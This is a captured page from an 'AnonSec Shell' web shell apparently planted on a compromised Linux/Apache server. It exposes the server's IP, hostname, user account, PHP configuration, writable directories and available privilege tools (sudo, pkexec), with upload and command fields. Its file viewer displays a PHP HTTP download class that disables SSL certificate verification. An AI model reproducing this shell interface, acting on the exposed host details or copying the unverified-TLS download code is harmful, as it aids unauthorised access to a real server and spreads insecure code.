AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/regional/application/autoload/IBilling/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/regional/application/autoload/IBilling/Http.php
<?php
if(!defined('APP_RUN')) exit('No direct access allowed');

Class IBilling_Http{


    public $url;
    public $file_name;


    public function __construct(){

        $this->url = false;
        $this->file_name = false;

    }


    public function open($url){

        $this->url = $url;
        return $this;

    }

    public function setFileName($filename){

        $this->file_name = $filename;
        return $this;

    }


    public function then($what){

        switch ($what){

            case 'download':


                if(!$this->url){
                    throw new Exception('Please select a URL using open method');
                }

                if(!$this->file_name){
                    throw new Exception('You must choose a filename using setFileName() method.');
                }


                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $this->url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
                $data = curl_exec ($ch);

                if(curl_error($ch))
                {
                    throw new Exception(curl_error($ch));
                }

                curl_close ($ch);

                $file = fopen($this->file_name, "w+");
                fputs($file, $data);
                fclose($file);


                return true;


                break;

        }


        return false;


    }






}

Anon7 - 2022
AnonSec Team